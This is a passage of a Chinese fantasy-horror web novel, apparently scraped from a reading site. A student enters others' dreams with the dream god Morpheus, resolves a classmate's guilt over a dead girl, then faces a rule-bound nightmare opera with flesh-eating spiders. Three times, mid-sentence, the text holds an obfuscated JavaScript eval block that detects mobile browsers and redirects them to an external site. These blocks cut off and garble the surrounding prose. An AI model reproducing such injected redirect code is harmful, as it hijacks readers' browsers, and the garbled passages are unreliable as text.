“我知道你的意思……你想说我很可恶,安妍不会原谅我,所以我起码要做点事挽回?我知道我对不起安妍,但是,这件事有比我更大的罪魁祸首才是……我,我已经自责了这么多年……已经受够了煎熬,受够了反思了。” 不知道是慌乱还是别的感情驱使了耿芷芯,让一直冷静的她变得语言混乱。 对此,苏夜凛皱眉,说出了自己都没想到的尖锐言辞: “什么安妍的原谅,她已经死了!她不会原谅你,因为她根本就不会责怪你!死人是不会说话,也不会回应你任何问题的……你自己应该也很清楚吧。” 这句话似乎剧烈地刺伤了耿芷芯,她双手环抱着自己,嘴唇颤抖,发冷的眼神警惕地看着苏夜凛。 “真正重要的是,这样下去你不会原谅自己——学姐你知道吗,你一直梦到这个场景,并不是你害怕和安妍学姐相关的过往,而是你的内心在警告你。 “你不能逃避这件事了!你想让一切随着时间过去,变成和你没有关系的往事,但是你的大脑和潜意识不允许你忘记,你不该淡忘这份愧疚……你明明就很介意安妍学姐因为你的错被污名化!所以,你必须要自己面对它,起码,要想办法要帮她把真相说出来吧!” 耿芷芯被她的攻势软化,变得有点语塞,“说得轻巧,现在的我又能去做什么?我知道我当时很可恶,很懦弱,但是现在再去打扰他们的生活,我也……” “你能做什么?这个问题,恕我不知道,因为这是学姐你自己该去解决的事。” 苏夜凛的心底都在诉说着惊讶,她难以想象这个言辞切切的人居然是自己,无法想象自己还会说出这么冰冷且斩钉截铁的话语,但是她还是毫无犹豫地将其宣之于口。 “如果你继续不为所动的话,我也不会原谅你。如你所知,你的噩梦是我帮你解决的,如果你想逃避,之后我也不会再帮你……” 不觉间,暴风骤作,吹得苏夜凛的身体摇摇欲坠。原本清朗的天空也被阴云席卷。 不知道耿芷芯是被她激怒了,还是产生了类似于创伤应激的反应,总之她能感觉到,梦境的基盘正在不断崩溃。 不知道哪来的沙尘席卷,苏夜凛手臂遮住眼睛,用最后的力量站稳,一阵眩光在不远处炸裂绽开。 说了一堆上头的话,她此时才认真思考自己算不算做对了。这个梦魇算是被她解决了吗?一切又是否就这样回归正常了呢?她的脑中冒出种种细碎的思索。 直到最后,意识马上要从这个领域被剥离出去之前,她听到了耿芷芯最后的声音。 “谢谢你,苏夜凛同学。” 很快,苏夜凛在一片浅淡的晨光里醒来。 === 这之后,苏夜凛仍然在剧社和耿芷芯打照面,她也如约去了剧社帮忙,还是和她维持着普通的同学关系,不生分也不熟络。 偶尔她会看到耿芷芯落寞的表情,但是至少看上去,对于梦境里最后那番谈话,以及苏夜凛慷慨激昂的演说,她是一点也不记得。对于普通人,本就没几个会带着梦里破碎的记忆苏醒。 据墨菲斯所说,他虽然当时不能介入梦中,但也旁观了全场谈话。他用半是揶揄半是认真的语气赞赏苏夜凛在关键时刻口才不错,很会辩论,但是可惜只用在梦里搬不到平时——然后被苏夜凛严禁再次探讨此事。 和梦魇战斗这个差事,也算是以此事为节点,正式拉开帷幕。但是她还是不清楚,最初让她挂心了很久的耿芷芯的事情有没有后续。 直到有一天,她和文曦瑶忙里偷闲,跑出来喝下午茶的时候,出现了新的消息。 “学姐你看这个!”文曦瑶的声音,摆明了是“这有个大瓜速速来吃”的样子。 苏夜凛点开了她发来的新闻链接,神色一怔。 [三年前高中女生跳楼案真相,师生恋表面之下实为教师精神控制的悲剧?] [重点高中男老师PUA女学生,学校压热度美美脱罪?学校回复将配合调查...] [隐藏真相三年!谁的大手让全体失声?谁为被污名化的女孩与家属负责…] “学姐你知道这个吗?感觉这个事情最近讨论度很大诶!那个老师也在面临停职调查什么的,”文曦瑶咬着吸管,一股正义之士的热血往外涌:“好像我当时也听过这个事,但是我还觉得很奇怪呢,这件事闹这么大却没人说得明白,而且不直到为什么大家都在骂那个女生,看得我气死了!现在算是水落石出,还那个女生公道了吧!” “嗯嗯,是啊……”苏夜凛心里浮现一阵奇妙的触动,“希望有人去告诉这个揭露真相的人,她你做的事有意义......” 她的目光聚焦在那些文章最后的一行字。 “经过授权,文章信息提供者已匿名”。 20. 舞无眠 01 离开了耿芷芯的梦境之后,大概过了一个星期多。苏夜凛的生活没有太大变化。 唯一就是自那之后,耿芷芯对自己的态度似乎变亲密了一点——虽然墨菲斯说,她不会记住最后梦里两人谈话的事,但苏夜凛猜想,可能多少留下了点让耿芷芯更加信任自己的印象,在她身上生根发芽。 不同于最初做梦,只有逃生的恐惧,在她以一个倾听者的身份参与了耿芷芯的故事后,更多细微的遐思在心里萌生。 为安妍申冤的社会新闻引发了一阵舆论,这背后具体发生了什么,她尚不清楚,不过她看到“校内知情者正配合媒体”的报道。 诱|奸学生的人渣老师至少是没有再回到那个岗位上,曾经做了错事的耿学姐也用自己的方法弥补了。苏夜凛想,这一切也算是努力有回报吧——真奇妙,原本她并没因为想改变什么而努力的。 她本是一个怕麻烦、避世的人,但是这回苏夜凛发现,如果自己的行动侧面帮助了别人的话,她也会由衷地高兴,甚至充满使命感。 或许正如墨菲斯所说,她平时懦弱归懦弱,心里却还有着这种古典的救世主情结。 说起来,耿芷芯之前就邀请苏夜凛来到剧社的演员选拔,似乎是觉得她很适合出镜。 苏夜凛一开始觉得新奇,但是实际去看了一次之后,发现自己还是有挺严重的人群恐慌症,怎么也无法想象自己站在台上、面对众多观众的样子,更别说镇定自若地念台词了。最后委婉地和剧社的学长学姐表示拒绝。 “原来是这样,好可惜啊……”平时,耿芷芯还是那副温柔又矜持的好学姐模样,似乎什么也没发生过。她对苏夜凛不来这事确实感到遗憾:“你是真的长得很好啊宝,服化道的学姐还不停跟我说,小苏消化造型的能力肯定特别好,想给你试好多新造型呢。” 怎么说呢,苏夜凛这时候会觉得他们其实只是想找个撑场面的花瓶。 “抱歉学姐,让你为我费心了……”她不停思索着最合适的言辞,不管怎样她还是想和耿芷芯保持这个相对良好的关系:“我真的太容易紧张了,但是如果你们缺人手,需要我演个龙套什么的,我还是可以顶上去一下的!” 她在说这番话的时候,总感觉听到了墨菲斯的声音,很轻的嗤笑声。 仿佛在说,其实你根本就不想答应,为什么还找补这一句呢? 总之这事不了了之,苏夜凛倒是通过耿芷芯的介绍到了另一个好差事——演播厅的维护。 演播厅是各种会议、活动都会用到的场所,学生团体里自然就是剧社借用的最多,所以剧社承包一部分的维护,也就是简单的打扫整理、检查设备之类的。 这个活听起来无趣,却是很多人求之不得的,因为它可以用很高的效率,换算成志愿者活动积分。而且时间比较灵活,做完一次去登记就可以。 今天是苏夜凛第一次来演播厅,她和几个同学跟着剧社的学长,听着一些注意事项之后,便各自去负责的区域检查座椅。 她正认真地把椅子一个一个翻下来,确保它们没问题,顺便看一眼周围有没有垃圾杂物,有的话就拿扫帚之类简单清理一下。 演播厅很大,基本是全封闭的,只有天花板打下来的暖色灯,看不到外面,让人很难注意到时间的流逝,苏夜凛也没有忙里偷闲去和别人闲聊。 “苏夜凛?” 但是主动和她出声的人,却是完全出乎意料。 “你……”苏夜凛闻声抬头,见到眼前高大的身影,心头一震。 “付明笙?” ==== 她和付明笙不熟——虽然自高一就在一个班,但是在那个高中,付明笙如同活在聚光灯之下,明显和苏夜凛这个边缘人物凑不到一块去。 家境优渥、外貌出众、性格有些冷峻神秘,体育成绩出类拔萃,文化成绩也算不落下风。几个要素齐聚,这样的男生仿佛天然带着光环,能自然而然地成为年级里众星捧月的人物。 但是苏夜凛知道,这个人不是这么简单。 “你最近怎么样?”付明笙的声音比较沉,听起来总有点压迫感。他心情不好的时候,说什么话都带着点威慑的感觉,现在倒有几分柔和:“我之前听说你也来辉大了,但是一直也没在学校碰到过你。” “我就……都还好吧。”苏夜凛甚至都不是很想和他寒暄这些有的没的,说话十分勉强。“我平时也不活跃,只闷头学习罢了,看不到我是正常的。” “哦……原来是这样,”男生点点头,很明显他也是不善言辞的人,说出下一句话之前,还要费心思忖。“但是你还是在剧社啊,也不算是不活跃吧。” 她知道对方的意思,剧社名气很大,在学校内不算是很好进的社团。但是她也不想对此解释太多。 “嗯嗯。”苏夜凛应答地模糊,“就是运气好,学长学姐都挺好说话的。” “你是演员部的吗?我听说最近也在选新的演员候补。” “不,我就是打杂的而已。” “......你都不想问问我吗?”说到这句话的时候,男生的语气又沉郁了几分。 “啊?什么?”他没头没尾来这么一句,苏夜凛以为自己走神听漏了什么。 但是很快少女反应过来,面前的男生意思是,她也应该回应几句——哪怕是表面关心,也该问问你最近怎么样之类,这是社交礼仪吧? “也是...那个,你也在剧社吗?”尴尬之下,苏夜凛只能干巴巴挤出这么一句。 对面男孩的表情有了些波动,终于带上了很淡的微笑。 这张脸确实是好看的,凭着这个,他现在估计也很有人气吧?但苏夜凛没有什么观察欣赏的动力。 “没有,我是来等林学长的,我们今天说好要带学生会的新人们一起出去组局。” 林学长就是领苏夜凛他们过来、讲注意事项那位,大家都知道他的主职在学生会,来剧社只是做些活跃气氛的事情,也不负责太多,其实就是挂名,混一点点社团加分。 不过付明笙这番话的重点在于,他们是作为学生会的前辈要组织活动;而且,付明笙自己也属于学生会核心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033876|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈层的一员。 “好呀,我们估计很快就弄完了,你们可以放心出去玩了。”苏夜凛平淡地回应着,打算结束话题,继续做自己手头的事。 “苏夜凛,你真的就不——” [好!!!!] [精彩啊——!!] [安可!安可!] 付明笙话音还未落,两人的思绪就同时被打断。 他们听到了鼓掌喝彩声。 除了剧社几个学生之外,本来应该空荡安静的演播厅里,响起了不属于这个场地的声音。 “咦……?”付明笙怔在原地,他楞楞地扫了一圈,这个红色调为主的剧场仍然空旷,不知道声音是从哪来的。 奇怪的是,连本来闲散踱步的林学长、以及其他几个在干活的学生,都不见了。 “什么情况……有人在用音响设备放视频?”付明笙嘟哝着,似乎是以为谁的手机误接了演播厅的蓝牙。 按常理来讲,他的推测很有可能是对的。但事实绝非如此。 苏夜凛目光往下一扫,顿感脊骨发凉。 她又被拖进梦境中了。 === 苏夜凛看着自己的左手,原本光洁无物的手腕上,出现了一截银色的手链,熠熠生辉。 那是上次梦境结束之后,墨菲斯给的道具,据他说,自己的力量在斩杀耿芷芯身上的梦魇之后,又回收了一些,于是能做出一些有用的新道具。 “?什么东西啊,我怎么什么都没看到?”当时,苏夜凛在接受了这份“礼物”之后倒是一头雾水,她丝毫不知道有什么发生了变化。 “当然咯,因为现在你还醒着。”墨菲斯趴在窗台,悠悠地晃着尾巴:“这串手链是梦境的雷达,平时看不见,但是只要你在梦中,它就会显形。这就防止你像之前一样,直到意识趋于疯狂,还没有办法意识到自己在梦中。” 苏夜凛了然,就像是电影里示梦的道具,比如只要在梦里,就不会停止旋转的陀螺一类的。 只是她没想到,这么快就有用上它的时候。 身旁的付明笙对于发生了什么还没有丝毫意识,他只是皱着眉头走向观众席的前方,想看看认识的人突然躲到哪里去了。 苏夜凛要考虑的就多了。毕竟这是在梦里,她甚至没办法相信这个“付明笙”到底是谁。 有可能是一个梦魇的宿主,浑然不觉地和自己对话;可能是这次的梦魇塑造出的演员;最坏的可能,他会暂时以正常的样貌示人,但是很快就撕裂表皮,变为“安妍”那样的怪物。 苏夜凛趁他往前走的时候,小声地朝身边呼喊: “墨菲斯,快点过来!” “呃!!”然而,几乎是同时,付明笙恐惧的声音就在整片空间中炸开。 “这是什么东西啊——苏夜凛!救命!!” 苏夜凛还没能捋清此刻发生了什么,身旁就闪现出一道蓝色的清光,另一个熟悉的声音悠悠响起来。 “啧,这次事情麻烦了……” 身旁,黑发的青年揉了揉眉心。 21. 舞无眠 02 苏夜凛发现墨菲斯这次居然是以人类的形态现身的。 他还穿着最初那件白色衬衫,表情相当凝重。 虽然只有主动呼唤之后,他才会在苏夜凛的视野里出现,但是在这之前他都是旁观着梦的内容,也知道发生了什么。 几乎是在墨菲斯现身的同时,以暗红色调为主的剧场内被蓝光笼罩。很显然,墨菲斯一上来就用了冻结空间的力量,到底什么事情如此危急? 当然,现在不是和他聊天讨论的时候。苏夜凛循着呼救的声音去找付明笙,发现他整个人陷了下去——他脚下的地面开了个大洞,黑暗深不见底。 付明笙没有受到时空冻结的影响,因此还在狼狈地挣扎。他双手死死扣住下陷的地面边缘,才没有掉下去。 第一次看到付明笙这人如此恐慌的表情。苏夜凛的印象里,他一直都是些微冷淡、不可一世的样子。 所以他真的是自己认识的那个同学吗?要不要拉他上来呢?苏夜凛还在挣扎的时候,墨菲斯倒是迅速闪到旁边,朝着快掉下去的男生伸出了手,拽紧了他一边手腕。 “这个人……”苏夜凛试探地看向墨菲斯。 “他不是梦的主人,也不是梦魇造的怪物。”墨菲斯似乎一秒就明白了她的顾虑,一边扯着付明笙的手臂,一边把目光投向苏夜凛,看起来有点费劲,“快来搭把手,这家伙不能死。” 也就是说,他是和苏夜凛一样被卷入梦中的活人吗? 苏夜凛向着付明笙伸出双手,男生也死死抓住了她,为了方便发力,那只手紧紧扣着她的手腕,这让苏夜凛有一丝不自在。但毕竟墨菲斯也那么说了,还是救人要紧。 付明笙是一个身高超过平均值的成年男性,而且苏夜凛记得他是体育生,体格显然也比较结实,苏夜凛感觉要拉他起来简直是不可能的任务。 还好,和墨菲斯一起使力,还是挣扎着把他拖了上来。终于到付明笙膝盖顶着地面爬出来喘气的时候,苏夜凛才放手。完事她也有种汗流浃背的错觉,差点瘫坐在地上。 但是转念一想,少女又觉得很奇怪。在上次耿芷芯的梦里,苏夜凛也差点被“安妍”诱导,从教学楼掉下去,那个时候墨菲斯也用人形态介入梦境,拉她上来。 那个时候,她感觉一切根本不遵循物理法则,轻轻地就被墨菲斯抛到天上去了。而这次她和墨菲斯使力到几乎咬牙切齿,才把付明笙救起来。 另外,她也感觉这个梦境从头到尾都格外“深沉”,没有像之前的噩梦一样出现让人恐怖和不安的要素,但周身都萦绕着一种沉重的气息,让人大气不敢喘。 “究竟怎么回事?”她转向墨菲斯,这种紧张的气氛下她的声音也很轻。 “谢谢,不过你们俩这是……?”付明笙仍跌坐在地上,惊魂未定,在两人之间张望,试图寻求什么答案。 “先别说话。”墨菲斯的神情还是一点也不见放松,他指了指后排,“现在快一点,在那边找位置坐下,保持安静,之后的线索还要靠你们自己找”。 付明笙还是一脸懵,但苏夜凛很快就明白了梦神的意思。她调整了下姿势,顺着墨菲斯指着的地方望去,惊讶和寒意席卷了头脑—— 刚才还一片空旷的座位,现在大半以上都被观众占据。 只是这些观众并不像是活人,更像是一个个穿着相似衣服、挂着相似笑容,举着望远镜,聚精会神看着舞台的人偶。 付明笙更是被这情形吓到了,即便是误打误撞进入此地的他,也感受出来这场景的诡异之处。 苏夜凛没有迟疑,经验告诉她,墨菲斯的空间冻结快到时间了。她快速跑到倒数第二排的旁边,恰好有那里,有相连的好几个空位。 她看见那几个姿势僵硬地坐着的人偶,有些起鸡皮疙瘩,选择了比较靠边的位置。 不明所以的付明笙跟在她身后,不过他似乎是看出来苏夜凛不愿意往里面坐,于是相当善解人意地让苏夜凛靠外面,自己则挨着她坐里面一格位置。 苏夜凛冷眼看着他这副“绅士风度”的表现,倒也没有拒绝。接着她转头留意着墨菲斯的行动。 不出所料,墨菲斯给她使了个眼色,随后凭空消失了。而坐在里面的付明笙并没看见这一幕。 她观察着周身,发现这里的布局和记忆中学校的演播厅不一样。但是她之前并未注意到这一点,现在也想不起来究竟是哪里不一样。 身旁付明笙坐稳之后,再次看向她,迷茫和猜疑夹杂,又准备说点什么。 “那个,苏夜凛,你怎么这么……” “不是跟你说了保持安静么?”苏夜凛皱眉。她没有大声呵斥,但冰冷的语气毫不留情地切断了付明笙的话头。 “唔……”似乎是被苏夜凛这样的一面吓到,也可能是自知理亏,付明笙灭了言辞,默默地点头坐好。 与此同时,空间中大片的银蓝色开始颤抖收缩,原本属于演播厅的暖色顶灯、红色座椅与沉重帷幕复苏。那些观众也跟着消失不见,但是苏夜凛知道,“他们”一直都会在。 她又把目光挪到自己身边。这些座椅是丝绒质的,舒适且宽敞。这里就像歌剧院的配置,上面还有一层楼厢,他们坐的则是一层堂厢,因为是最后两排,离舞台很远,对于观剧者称不上好位置——不过对于他们,这里起码是个安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033877|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的位置。 座椅扶手上,有一个卡扣搬的按钮,明显那里的空间是一个暗盒。苏夜凛轻轻打开,里面是一个可伸缩的望远镜——确切地说,是看音乐剧、歌剧专用的那类观剧镜,方便远处和楼上的观众看清表演的细节。 这个看起来还相当高级,比一般的望远镜短,有一个手持支架,可以当成眼镜一直贴在面前。 付明笙看见她的动作,也立刻效仿,小心地取出自己那边的观剧镜,抬头朝着舞台那边看。 还好这个家伙至少不是那种冒冒失失的人,不然他如果搞砸了什么,苏夜凛也不知道自己会不会被拉下水。 舞台上,帷幕已经拉开,但是无人登场。现在这里是表演模式,空旷的场地中心,灯光已经就绪 苏夜凛架起观剧镜,透过镜筒,她看见远处的侧边屏上,浮现了刚才还并不存在的文字。 新一场演出,即将开始。 观看演出的各位,请时刻保持秩序,遵守场内规则: 1.演出正在进行时,不要四处走动,不可站在过道 2.不可随意占用他人座位,不可遮挡他人视野 3.表演神圣不可亵渎,所有人都要尊重演员。表演时,请不要发出声音;但同样,您该在适当的时候喝彩 4.为了方便您欣赏,我们为所有观众提供了观剧镜;因此,不允许使用任何具有拍照、录像、录音功能的电子设备。 5.演出宣告结束前,禁止离席 特别声明:若不遵循以上条例,剧场维护人员有权力将观众---- 后面的文字变成拖长的噪点,看不清楚。 但是谁都知道,那被隐去的文字绝对不是什么友善的内容。 付明笙放下了观剧镜,咽了咽口水,他不想在苏夜凛面前表现得惊慌怯场,但是他也不知道自己究竟来到了怎样一个险境,又如何能逃离。 说起来,为什么苏夜凛如此镇静、有条不紊呢?她以前并不是这样的。付明笙想侧目瞟她一眼,却又不敢轻举妄动。 苏夜凛还是盯着那几条文字看,默默分析着其中可能隐含的信息,时间格外漫长,一秒一秒流逝的间隙,头顶的照明灯也暗了下来,示意着表演开幕。 “《生机之舞》第一幕,开演。” 冰冷的机械女声在报幕。 他们两人也把镜筒对准了舞台,刚才肉眼无法看见的东西,现在终于显现出来。 从舞台中心缓缓升起的,是一位一袭红裙的女子,她背对着众人,看起来格外高挑、纤细,即便不露脸,也感觉得出体态何其优美。 与此同时,满场的掌声再次响起。 22. 舞无眠 04 虽然满场的观众已看不见,但随着喝彩声响起,苏夜凛也立刻跟着鼓掌。 当然不单纯是跟着其他人的行为,而是遵循刚才屏幕上的规则。 “表演时,请不要发出声音;但同样,您该在适当的时候喝彩” 苏夜凛几乎是把那些字牢牢印在了自己脑海里,她不明白为什么这个梦境是以规则怪谈的形式出现,但这也是好事,至少是一个比较好理解的形式。 环境稳定,条件明确,如果可以这种状态下探索梦境,自己也能保持理性,说不定就不必像之前理解耿芷芯的梦一样大费周章。 旁边的付明笙看她这样,也立刻把巴掌拍得响亮,还相当生硬地朝遥远的舞台欢呼几声。 礼貌性的喝彩结束之后,一切归于寂静,舞剧正要上演。 透过观剧镜,苏夜凛看到舞台中心的女子张开双臂,长裙连接的丝带一条条挽在手臂上,如同垂下的血液。 女子带着一张奇怪的面具,只能看见她的嘴唇,但是这不影响美丽的观感。她先是优雅地旋转、舞动,做着一些轻盈又圣洁的舞蹈动作,随后,有几名侍女打扮的人从舞台周围过来,簇拥着女主角。 与此同时,她们的身后还有一块幕布,上面的剪影勾勒着背后的演员——正在哼唱歌曲的诗人,还有个看不清楚的欢快影子,似乎是一只兔子。 [春日花朵,将生命之种与圣水播撒…] 诗人的唱词她听不懂,但是经过这个特殊的镜片,那些词句像直接浮现在空中一样。 很快,红色长裙的女主角躺倒在一张大床上,侍女们围着她转圈,不断地抛洒花朵、种子,还有装在玻璃器皿里的液体。 如果说那液体不是红色的,一切都还是很和谐的。 女主角一直很安静,此刻更像是死了一样,侍女们也机械地泼洒手中的道具。红色圣水斑驳地印在洁白的床单之上,透过镜片的狭窄视野,只觉得这景象更让人不安。 [诚心祈求,爱之神也将我庇护…] 吟游诗人继续唱着,它旁边的兔子更加兴奋,蹦跶着往前跑,投在幕布上的影子都变大一圈。 “这也太古典了,如果真有人在21世纪演这种戏剧,应该没人想看吧?” 苏夜凛猛地转头,那只黑猫已经趴在自己右手边,也就是最靠外边的座位。 “不用出声,你忘了刚才看到的规则吗。” 苏夜凛刚想张嘴回应点什么,墨菲斯直接制止了她。 “放心,现在还是没有人能看到我的,你就当我在自言自语。” 苏夜凛点点头,继续集中于舞台的表演。 所以现在的情况是,左边坐着疑似被强行拉进梦境的付明笙,右边则是隐去身形的梦神,而神奇的是他们几个就只是这样安安静静地看表演,没有什么要以命相搏的危机。 也算是一个难得平和的遭遇了,苏夜凛这么想着,但是很快,舞台上发生的事情就打破了她内心的平静。 台上的灯光逐渐变暗,诗人和他的兔子也变暗,柔和悠远的吟唱声逐渐被另一种声音掩盖。 那是难以形容的音色,晦暗沉重、有几分喑哑,像是走调了的乐器,音量却越来越大,让苏夜凛感觉那令人不快的声音快把天灵盖淹没了。 从天花板上吊下来一个身影,乍看,苏夜凛以为那是一具骷髅,其实那是一只巨大的蜘蛛,灰白色,耸动着长而锋利的足肢,顺着丝线垂下,伏趴在女子身上。 下一秒,灯光转暗,凄厉的歌声响彻大厅。虽然很短,但苏夜凛感觉那诡异的调子和音色冲击之下,自己的听觉都变得不正常了。 很快,舞台又亮起寥寥几盏灯光。红裙女子仍躺在床上,巨大的蜘蛛不见踪影,侍女们又开始舞蹈。 苏夜凛看见于舞台中心,女子的腹部臌胀,似乎有什么东西埋伏在里面蠢蠢欲动。 突然间,她又听见了观众开始鼓掌。 她下意识地也想跟着他们,却又很快感觉到不对。 旁边的付明笙已经赶忙着要举手欢呼,也被苏夜凛一个肘击制止了。 这是一个“应该喝彩”的时候吗?没有人在歌唱,没有华彩的舞蹈段落,总之就是没有演到最精彩的一幕。 她知道,这很明显是一个集合血腥、怪诞要素的演出,但是即便如此,也要等那些最怪诞、最有冲击力的场景发生才对吧? 或许跟着那些人偶一起喝彩是最没风险的,但苏夜凛还是选择了沉默。 ——无事发生,至少目前,她应该是没做出错误的选择? 但是她也不知道那些已经在喝彩的人有没有被惩罚。 “挺聪明的嘛。”淡淡的感慨,她听到了墨菲斯的评价。“看来你很快不需要我的帮助也可以咯。” 她忍不住撇去一眼,这家伙,如果自己鼓掌了他会提醒吗?总感未必,毕竟不一定是致命的事情。 而且墨菲斯自己也说过,每个人的梦都像是生产了一个独立的小世界,虽然能够用梦神的权力干涉,但其中的原理他也未必能看透。 [时间的睥睨之下,我即将生产…] 不知道怎么着,女子的腹部继续涨大,似乎在疯狂吸收养分。这使得她身上不断出现裂口,皮肤上爆裂出的伤口里,爬出无数只小蜘蛛,就像母蜘蛛留下的卵一样,实在是有些超出苏夜凛的承受极限了,她皱了皱眉头。 但是,即便有那么多小蜘蛛出生,女子自己的分娩仍未完成。 阴郁婉转的音乐之中,一个手持利刃的侍女走到了床前,缓缓地抬起了手臂。 其他的伴舞们则更加疯狂,她们甩着脑袋、毫无章法地晃动手脚,跳跃转圈,有的人喜悦过了头,开始撕咬自己的手臂,开始啃噬同伴的腿脚,血液不断在白色衣裙上蔓延。 她们脸上是无法抑制的快乐笑容,准备迎接这舞剧令人激动的下一幕——她们是如此享受这场表演! 苏夜凛不禁屏息,倒吸一口凉气,但并不是因为台上演的东西有多骇人。 而是因为,刚才从女子身上破体而出的小蜘蛛,正在朝着观众席快速爬来。 通过观剧镜也能看出,那些东西在肉眼可见地长大,它们数量极多,爬行的速度也很快,节肢动物多条灵活的腿摩擦地面,发出咔嚓咔嚓的、令人牙酸的声音。 它们先是走到最前面的观众席。果然,一切都和苏夜凛的猜想不谋而合了。 她看见蜘蛛们抬起细长的腿脚,尖端的部分俨然像钢针或剃刀一样,无比锋利。 方才在前排兴奋地欢呼拍手的家伙,无一例外被这些灵活的足肢切碎,然后张开口器,将裸露出来的皮肤吞噬下去。 苏夜凛这才发现,那些看起来像人偶的观众们,其实仍是人类的身躯,皮肤之下还是血肉,只是他们的精神似乎已经被破坏了,仿佛对身边的一切浑然不觉,即便是掉在地上的脑袋,也仍是一张带笑的脸。 它们速度很快,直到爬到了最后一排,那眼睛和口器已经伸到了苏夜凛的面前,叫她大气不敢喘,甚至为了让自己和其他观众相似,她还 一番探查之后,蜘蛛杀了距离他们约五个座位的一名观众,爬到过道,又仔细打量了这排座位,随后机械地离开,还好,苏夜凛和付明笙确实被略过了。 她松了一口气,却绝望地发现,它们不打算撤离,而是巡逻一般,回到第一排之后,又折返往后排跑。 她只能不断地在心里劝自己冷静。任何虫子在苏夜凛眼里都很可怕,那些蜘蛛身上黑白相间的花纹、不正常地锋利的口器更是叫人胆寒。 不过,按理来说,他们只要遵守规则,继续安静地欣赏舞蹈就可以了…… “要小心,它们的样子不对劲。”但是墨菲斯的声音又提醒她不要存侥幸心理,而苏夜凛也不得不承认他的提醒是对的。 因为明显可以看见,它们不断长大的过程中,人已经变得不够吃了。 从最初,它们只是挑选着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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完成了真正分娩的女子,爆发出巨大的惨叫,随后在血泊中站了起来。刚才的侍女们被她身上爆发出的血液溅射,还纷纷举起金色的杯子,微笑着盛下那些血。 如今,她们身上的白裙也变得和女主人公相似,被鲜红的液体浸染。 而女子站在舞台的中央,怀抱她生育出来的、那一团看不出形状的肉球,怜爱地抚摸。 随后,她们背后的幕布揭开,最初悠闲歌唱的诗人已经不见踪影,但他的那只兔子长得巨大又凶猛。 所有人慢慢走向了兔子的位置,做出了让苏夜凛不能理解的行为。 侍女们伏在地上,用手挖掘出了一块很深的坑洞。 然后,女子又是满怀慈爱地,将她手中肉块模样的婴儿埋进土中。 在填土的过程中,所有人都轮流跳舞,变换着位置、轻吟颂歌。有人轻盈地跳跃挪步,有人提裙碰杯,将金杯中的血轻酌饮下。 最不可思议的是,在她们跳舞的过程中,女子刚才埋葬婴儿的地方,正在长出一棵树。 那细嫩枝芽,生长!生长,变成参天大树! 绿色的硕大叶片不断舒展,血肉滋养的巨树上正在结出硕果! 看到这里,苏夜凛有点想吐,她把观剧镜稍微拿远了一点,发现身边的付明笙已经捂着嘴,脸色糟糕,只是强撑着让自己继续盯着舞台。 原因也很简单。那些鲜红的、粉红的、白红的果实,正是一个个神经和大树连接的婴儿。它们在笑,它们在哭,他们在增殖,他们在长大…… 在所有人的欢声笑语之中,这一幕舞剧逐渐走向休息。苏夜凛敏锐地感觉到,梦境整体开始动摇,大概是梦魇的宿主醒了。 已经无暇管身边的付明笙或墨菲斯怎么样,在抽离梦境之前,苏夜凛逼着自己举起双手,机械地对着中场休息的演出鼓掌…… 23. 舞无眠 04 这次醒来,苏夜凛比起恐惧和心悸,更多的是感到头痛,还有反胃,不过都很轻微。 比起现在还仿佛近在眼前的巨大蜘蛛腿,她觉得最后的场景,女子用胚胎种出一整棵大树那一幕更吓人。大家为此欢呼雀跃、祝贺着那些大树上一个一个喜笑颜开的粉红婴儿,更是接近于精神污染。 不过现在也没有感慨的余裕,想到这一梦和之前截然不同的氛围,以及莫名其妙出现的付明笙,向墨菲斯询问更重要。 “这次是什么情况,噩梦的宿主又是谁?” 少女毫不犹豫地转向窗沿,晨光熹微,她看着那只趴在窗框边的黑猫。 墨菲斯有些烦躁地拍着尾巴,苏夜凛总感觉他很沮丧。 “是我的猜测错了。”墨菲斯先是来了这么一句,宛如自言自语,语气也完全没有平时的轻松。 苏夜凛很纳闷儿,追问他到底在说什么。 “那个男孩是你的同学吧?”墨菲斯淡淡地说。“我估计下回我们还要看到他的。你可以理解为他被这个梦魇劫持当做人质了。” 果然是这样吗?苏夜凛感到有点头晕。虽然自己的猜测也八九不离十,但想到自己在战斗的时候还要保护一个额外的拖油瓶,她就很心累。 “而且,据我的感知,被牵扯到这个梦境的局外人不止一个。”墨菲斯还补刀了一句。 还有一个?女孩有点崩溃,忍不住猜想,之后这个梦魇长大之后,他们要面对什么程度的惨状。 “意思是,我们这次遇到了很强大的梦魇吗?” “确实比之前的要强。至于这个宿主……他应该是你不认识的人,所以也很难去调查和揣测他梦境的成因,不过也不重要了。 墨菲斯继续说: “你看到这个梦是规则怪谈的样子,应该和这个宿主有关。他长期生活在一种压抑的环境之下,但这种环境在外人看来,反而是挺光鲜体面的。所以他的梦境也受到了影响。 